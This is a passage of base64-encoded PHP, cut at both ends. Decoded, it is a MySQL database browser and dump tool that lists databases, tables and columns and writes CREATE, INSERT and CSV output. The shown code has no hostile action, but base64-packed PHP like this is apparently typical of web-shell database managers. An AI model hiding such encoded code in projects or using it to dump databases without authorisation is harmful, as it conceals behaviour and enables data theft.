AgICAgICAgICAgICAgICAkdGhpcy0+X2NuY3QgPSBOVUxMOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNxbEpvaW5Db2x1bW5zKCRhLCAkZikgewogICAgICAgICAgICBpZiAoJGEpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgICAgICRhWyRrXSA9ICRmKCR2KTsKICAgICAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcsJywgJGEpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAnKic7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNxbE91dENyZWF0ZSgkdCwgJGMsICRkLCAkZikgewogICAgICAgICAgICBlY2hvICJcbkNSRUFURSBUQUJMRSAiLCAkZigkdCksICIgKFxuIjsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgZm9yZWFjaCAoJGMgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICBlY2hvICIsXG4iOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgIGVjaG8gJyAgJywgJGYoJGspLCAnICcsICR2ID8gJHYgOiAkZDsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICJcbik7XG4iOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBzcWxPdXRJbnNlcnQoJHQsICRjKSB7CiAgICAgICAgICAgIGVjaG8gIlxuSU5TRVJUIElOVE8gIiwgJHQ7CiAgICAgICAgICAgIGlmICgkYyAhPT0gJyonKQogICAgICAgICAgICAgICAgZWNobyAnICgnLCAkYywgJyknOwogICAgICAgICAgICBlY2hvICcgVkFMVUVTJzsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc3FsT3V0VmFsdWVzKCRhLCAkZikgewogICAgICAgICAgICBlY2hvICJcbigiOwogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgewogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgIGlmICgkdiA9PT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICBlY2hvICdOVUxMJzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBlY2hvICRmKCR2KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICcpJzsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gY3N2T3V0VmFsdWVzKCRhKSB7CiAgICAgICAgICAgICRjID0gMDsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICBlY2hvICc7JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICBpZiAoJHYgPT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnXE4nOwogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBzdHJfcmVwbGFjZShhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJyInLAogICAgICAgICAgICAgICAgICAgICAgICAnOycsCiAgICAgICAgICAgICAgICAgICAgICAgICJcciIsCiAgICAgICAgICAgICAgICAgICAgICAgICJcbiIKICAgICAgICAgICAgICAgICAgICApLCBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJyIiJywKICAgICAgICAgICAgICAgICAgICAgICAgJzsnLAogICAgICAgICAgICAgICAgICAgICAgICAnXHInLAogICAgICAgICAgICAgICAgICAgICAgICAnXG4nCiAgICAgICAgICAgICAgICAgICAgKSwgJHYsICRjKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICRjID4gMCA/ICciJyAuICR2IC4gJyInIDogJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gbXlzcWxFc2NEYXRhKCR2KSB7CiAgICAgICAgICAgIHJldHVybiAiJyIgLiBzdHJfcmVwbGFjZShhcnJheSgKICAgICAgICAgICAgICAgICdcXCcsCiAgICAgICAgICAgICAgICAiJyIsCiAgICAgICAgICAgICAgICAnIicsCiAgICAgICAgICAgICAgICAiXDAiLAogICAgICAgICAgICAgICAgIlxuIiwKICAgICAgICAgICAgICAgICJcciIsCiAgICAgICAgICAgICAgICAiXHgxQSIKICAgICAgICAgICAgKSwgYXJyYXkoCiAgICAgICAgICAgICAgICAnXFxcXCcsCiAgICAgICAgICAgICAgICAiXFwnIiwKICAgICAgICAgICAgICAgICdcXCInLAogICAgICAgICAgICAgICAgJ1xcMCcsCiAgICAgICAgICAgICAgICAnXFxuJywKICAgICAgICAgICAgICAgICdcXHInLAogICAgICAgICAgICAgICAgJ1xcWicKICAgICAgICAgICAgKSwgJHYpIC4gIiciOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBteXNxbEVzY05hbWUoKSB7CiAgICAgICAgICAgICRhID0gZnVuY19nZXRfYXJncygpOwogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikKICAgICAgICAgICAgICAgICRhWyRrXSA9ICdgJyAuIHN0cl9yZXBsYWNlKCdgJywgJ2BgJywgJHYpIC4gJ2AnOwogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLicsICRhKTsKICAgICAgICB9CiAgICAgICAgY2xhc3MgTXlTUUxCYXNlIGV4dGVuZHMgU1FMQmFzZSB7CiAgICAgICAgICAgIHZhciAkaGF2ZVNjaGVtYXMgPSBGQUxTRSwgJGNhblBhZ2luYXRlID0gVFJVRTsKICAgICAgICAgICAgZnVuY3Rpb24gY2hhcnNldCgkaykgewogICAgICAgICAgICAgICAgJHYgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAndXRmOCcsCiAgICAgICAgICAgICAgICAgICAgJ3V0ZjE2JywKICAgICAgICAgICAgICAgICAgICAnY3AxMjUwJywKICAgICAgICAgICAgICAgICAgICAnY3AxMjUxJywKICAgICAgICAgICAgICAgICAgICAnbGF0aW4xJywKICAgICAgICAgICAgICAgICAgICAnbGF0aW41JywKICAgICAgICAgICAgICAgICAgICAnY3AxMjU2JywKICAgICAgICAgICAgICAgICAgICAnY3AxMjU3JywKICAgICAgICAgICAgICAgICAgICAnbGF0aW4xJywKICAgICAgICAgICAgICAgICAgICAnbGF0aW4yJywKICAgICAgICAgICAgICAgICAgICAnZ3JlZWsnLAogICAgICAgICAgICAgICAgICAgICdoZWJyZXcnLAogICAgICAgICAgICAgICAgICAgICdsYXRpbjUnLAogICAgICAgICAgICAgICAgICAgICdsYXRpbjcnLAogICAgICAgICAgICAgICAgICAgICdiaWc1JywKICAgICAgICAgICAgICAgICAgICAnZ2JrJywKICAgICAgICAgICAgICAgICAgICAnc2ppcycsCiAgICAgICAgICAgICAgICAgICAgJ2V1Y2tyJywKICAgICAgICAgICAgICAgICAgICAndWppcycsCiAgICAgICAgICAgICAgICAgICAgJ2NwODY2JywKICAgICAgICAgICAgICAgICAgICAna29pOHInLAogICAgICAgICAgICAgICAgICAgICdrb2k4dScKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICByZXR1cm4gaXNzZXQoJHZbJGtdKSA/ICR2WyRrXSA6ICd1dGY4JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBwYXJzZUNydFRibCgkdikgewogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJG4gPSAnYCgoPzpbXmBdfGBgKSspYCc7CiAgICAgICAgICAgICAgICAkbCA9ICcgXCgoKD86YCg/OlteYF18YGApK2AsPykrKVwpJzsKICAgICAgICAgICAgICAgICR0ID0gJyg/OiBVU0lORyAoPzpCVFJFRXxIQVNIKSk/JzsKICAgICAgICAgICAgICAgICRjID0gJyg/OlxzK0NPTlNUUkFJTlQoPzogYCg/OlteYF18YGApKylgKT9ccysnOwogICAgICAgICAgICAgICAgJGUgPSAnKGAoPzpbXmBdfGBgKStgKSc7CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI15ccysnIC4gJG4gLiAnIChbYS16XSspKCg/OlwofCApLispPyw/JCNVbScsICR2LCAkbSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkbVsxXSBhcyAkayA9PiAkaSkKICAgICAgICAgICAgICAgICAgICAkYVskaV0gPSBzdHJ0b3VwcGVyKCRtWzJdWyRrXSkgLiAkbVszXVska107CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI14nIC4gJGMgLiAnUFJJTUFSWSBLRVknIC4gJHQgLiAkbCAuICcuKiQjVW0nLCAkdiwgJG0pKSB7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyMnIC4gJG4gLiAnIycsICRtWzFdLCAkbSk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1bMV0gYXMgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpXSAuPSAnLCBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyNeXHMrKD86SU5ERVh8S0VZKSg/OiAnIC4gJGUgLiAnKT8nIC4gJHQgLiAkbCAuICcuKiQjVW0nLCAkdiwgJG0pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRtWzFdIGFzICRpID0+ICRrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkayAhPT0gJycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9ICcgJyAuICRrOwogICAgICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnIycgLiAkbiAuICcjJywgJG1bMl1bJGldLCAkcik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRyWzFdIGFzICRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGldIC49ICcsIEtFWScgLiAkazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyNeJyAuICRjIC4gJ1VOSVFVRSg/OiAoPzpJTkRFWHxLRVkpKT8oPzogJyAuICRlIC4gJyk/JyAuICR0IC4gJGwgLiAnLiokI1VtJywgJHYsICRtKSkKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbVsxXSBhcyAkaSA9PiAkaykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGsgIT09ICcnKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGsgPSAnICcgLiAkazsKICAgICAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyMnIC4gJG4gLiAnIycsICRtWzJdWyRpXSwgJHIpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkclsxXSBhcyAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpXSAuPSAnLCBVTklRVUUgS0VZJyAuICRrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgnI15ccysoPzpGVUxMVEVYVHxTUEFUSUFMKSg/OiAoPzpJTkRFWHxLRVkpKT8oPzogJyAuICRlIC4gJyk/JyAuICRsIC4gJy4qJCNVbScsICR2LCAkbSkpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1bMV0gYXMgJGkgPT4gJGspIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRrICE9PSAnJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrID0gJyAnIC4gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjJyAuICRuIC4gJyMnLCAkbVsyXVskaV0sICRyKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJbMV0gYXMgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskaV0gLj0gJywgRlVMTFRFWFQgS0VZJyAuICRrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgnI14nIC4gJGMgLiAnRk9SRUlHTiBLRVkoPzogJyAuICRlIC4gJyk/JyAuICRsIC4gJyBSRUZFUkVOQ0VTIChgKD86W15gXXxgYCkrYCBcKCg/OmAoPzpbXmBdfGBgKStgLD8pK1wpKS4qJCNVbScsICR2LCAkbSkpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1bMV0gYXMgJGkgPT4gJGspIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRrICE9PSAnJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrID0gJyAnIC4gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgICRrIC49ICcgJyAuICRtWzNdWyRpXTsKICAgICAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyMnIC4gJG4gLiAnIycsICRtWzJdWyRpXSwgJHIpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkclsxXSBhcyAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRpXSAuPSAnLCBGT1JFSUdOIEtFWScgLiAkazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gcHJlcFR5cGUoJHYpIHsKICAgICAgICAgICAgICAgICRzID0gKCRpID0gc3RycG9zKCR2WzFdLCAnKCcpKSA/IHN0cnRvdXBwZXIoc3Vic3RyKCR2WzFdLCAwLCAkaSkpIC4gc3Vic3RyKCR2WzFdLCAkaSkgOiBzdHJ0b3VwcGVyKCR2WzFdKTsKICAgICAgICAgICAgICAgIGlmICgkdlsyXSA9PT0gJ05PJykKICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgIGlmICgkdls0XSAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIERFRkFVTFQgJyAuIG15c3FsRXNjRGF0YSgkdls0XSk7CiAgICAgICAgICAgICAgICBpZiAoJHZbNV0gIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyAnIC4gc3RydG91cHBlcigkdls1XSk7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCR2WzNdKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnUFJJJzoKICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ1VOSSc6CiAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5JUVVFIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ01VTCc6CiAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcsIEtFWSgnIC4gbXlzcWxFc2NOYW1lKCR2WzBdKSAuICcpJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJHM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0QmFzZXMoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NIT1cgREFUQUJBU0VTJywKICAgICAgICAgICAgICAgICAgICAnU0hPVyBTQ0hFTUFTJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHNjaGVtYV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERJU1RJTkNUIHRhYmxlX3NjaGVtYSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1QgdGFibGVfc2NoZW1hIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMnCiAgICAgICAgICAgICAgICApKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZXMoJGIpIHsKICAgICAgICAgICAgICAgICR2ID0gbXlzcWxFc2NEYXRhKCRiKTsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAnU0hPVyBUQUJMRVMgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiKSwKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYT0nIC4gJHYsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hPScgLiAkdgogICAgICAgICAgICAgICAgKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHQpIHsKICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICRlID0gbXlzcWxFc2NOYW1lKCRiLCAkdCk7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NIT1cgQ09MVU1OUyBGUk9NICcgLiAkZSwKICAgICAgICAgICAgICAgICAgICAnU0hPVyBGSUVMRFMgRlJPTSAnIC4gJGUsCiAgICAgICAgICAgICAgICAgICAgJ0RFU0MgJyAuICRlLAogICAgICAgICAgICAgICAgICAgICdERVNDUklCRSAnIC4gJGUsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBjb2x1bW5fbmFtZSxjb2x1bW5fdHlwZSxpc19udWxsYWJsZSxjb2x1bW5fa2V5LGNvbHVtbl9kZWZhdWx0LGV4dHJhIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfbmFtZT0nIC4gbXlzcWxFc2NEYXRhKCR0KSAuICcgQU5EIHRhYmxlX3NjaGVtYT0nIC4gbXlzcWxFc2NEYXRhKCRiKQogICAgICAgICAgICAgICAgKSkpIHsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHYgPSAkdGhpcy0+ZmV0Y2hSb3coKSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZbMF1dID0gJHRoaXMtPnByZXBUeXBlKCR2KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnIC4gJGUpICYmICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBhcnNlQ3J0VGJsKCR2WzFdKTsKICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBzZWxlY3QoJGIsICR0LCAkYywgJG8sICRsKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgJyAuIHNxbEpvaW5Db2x1bW5zKCRjLCAnbXlzcWxFc2NOYW1lJykgLiAnIEZST00gJyAuIG15c3FsRXNjTmFtZSgkYiwgJHQpIC4gJyBMSU1JVCAnIC4gJG8gLiAnLCcgLiAkbCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gb3V0Q3JlYXRlVGFibGUoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCkpICYmICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIiwgJHZbMV0sICI7XG4iOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkdCkpIHsKICAgICAgICAgICAgICAgICAgICBzcWxPdXRDcmVhdGUoJHQsICR2LCAnQkxPQicsICdteXNxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gc3ByaW50ZihFX0NOU1RDUywgJGIgLiAnLicgLiAkdCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xhc3MgTXlTUUxDbGllbnQgZXh0ZW5kcyBNeVNRTEJhc2UgewogICAgICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRoLCAkdSwgJHAsICRiLCAkYykgewogICAgICAgICAgICAgICAgaWYgKCEoJHRoaXMtPl9jbmN0ID0gbXlzcWxfY29ubmVjdCgkaCwgJHUsICRwKSkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoJ1NFVCBOQU1FUyAnIC4gJHRoaXMtPmNoYXJzZXQoJGMpLCAkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICAgICAgaWYgKCRiICE9PSBOVUxMICYmICFteXNxbF9zZWxlY3RfZGIoJGIsICR0aGlzLT5fY25jdCkpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG15c3FsX3F1ZXJ5KCdVU0UgJyAuIG15c3FsRXNjTmFtZSgkYiksICR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRFcnJvcigpIHsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpIHsKICAgICAgICAgICAgICAgICAgICAkdiA9IG15c3FsX2Vycm9yKCR0aGlzLT5fY25jdCk7CiAgICAgICAgICAgICAgICAgICAgbXlzcWxfY2xvc2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gbXlzcWxfZXJyb3IoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBteXNxbF9xdWVyeSgkdiwgJHRoaXMtPl9jbmN0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0QmFzZXMoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCgkdGhpcy0+X3JlcyA9IG15c3FsX2xpc3RfZGJzKCR0aGlzLT5fY25jdCkpIHx8IHBhcmVudDo6Z2V0QmFzZXMoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hCYXNlKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG15c3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpID8gJHZbMF0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFRhYmxlKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG15c3FsX2ZldGNoX3JvdygkdGhpcy0+X3JlcykpID8gJHZbMF0gOiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRUYWJsZXMoJGIpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoKCR0aGlzLT5fcmVzID0gbXlzcWxfbGlzdF90YWJsZXMoJGIsICR0aGlzLT5fY25jdCkpIHx8IHBhcmVudDo6Z2V0VGFibGVzKCRiKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VGFibGVTaXplKCRiLCAkdCkgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCksICR0aGlzLT5fY25jdCkpID8gbXlzcWxfcmVzdWx0KCR2LCAwKSA6ICciPyInOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoJGEgPSBwYXJlbnQ6OmdldENvbHVtbnMoJGIsICR0KSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAkZSA9IG15c3FsRXNjTmFtZSgkYiwgJHQpOwogICAgICAgICAgICAgICAgJHEgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGlmICgoJHEgPSBteXNxbF9saXN0X2ZpZWxkcygkYiwgJHQsICR0aGlzLT5fY25jdCkpIHx8ICgkcSA9IG15c3FsX3F1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcgLiAkZSAuICcgTElNSVQgMCcsICR0aGlzLT5fY25jdCkpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2ID0gbXlzcWxfZmV0Y2hfZmllbGQoJHEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzID0gJHYtPnR5cGUgPT09ICdzdHJpbmcnID8gJ1RFWFQnIDogc3RydG91cHBlcigkdi0+dHlwZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYtPnVuc2lnbmVkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5TSUdORUQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2LT56ZXJvZmlsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIFpFUk9GSUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdi0+bm90X251bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHYtPmRlZikgJiYgJHYtPmRlZiAhPT0gJycgJiYgJHYtPmRlZiAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcyAuPSAnIERFRkFVTFQgJyAuIG15c3FsRXNjRGF0YSgkdi0+ZGVmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdi0+cHJpbWFyeV9rZXkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJyBQUklNQVJZIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCR2LT51bmlxdWVfa2V5KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzIC49ICcgVU5JUVVFIEtFWSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCR2LT5tdWx0aXBsZV9rZXkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMgLj0gJywgS0VZKCcgLiBteXNxbEVzY05hbWUoJHYtPm5hbWUpIC4gJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHYtPm5hbWVdID0gJHM7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCR2ID0gbXlzcWxfZmV0Y2hfZmllbGQoJHEpKTsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfc3RyaW5nKCR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcSwgMCkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkcyA9IG15c3FsX2ZpZWxkX3R5cGUoJHEsICRpKSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZdID0gJHMgPT09ICdzdHJpbmcnID8gJ1RFWFQnI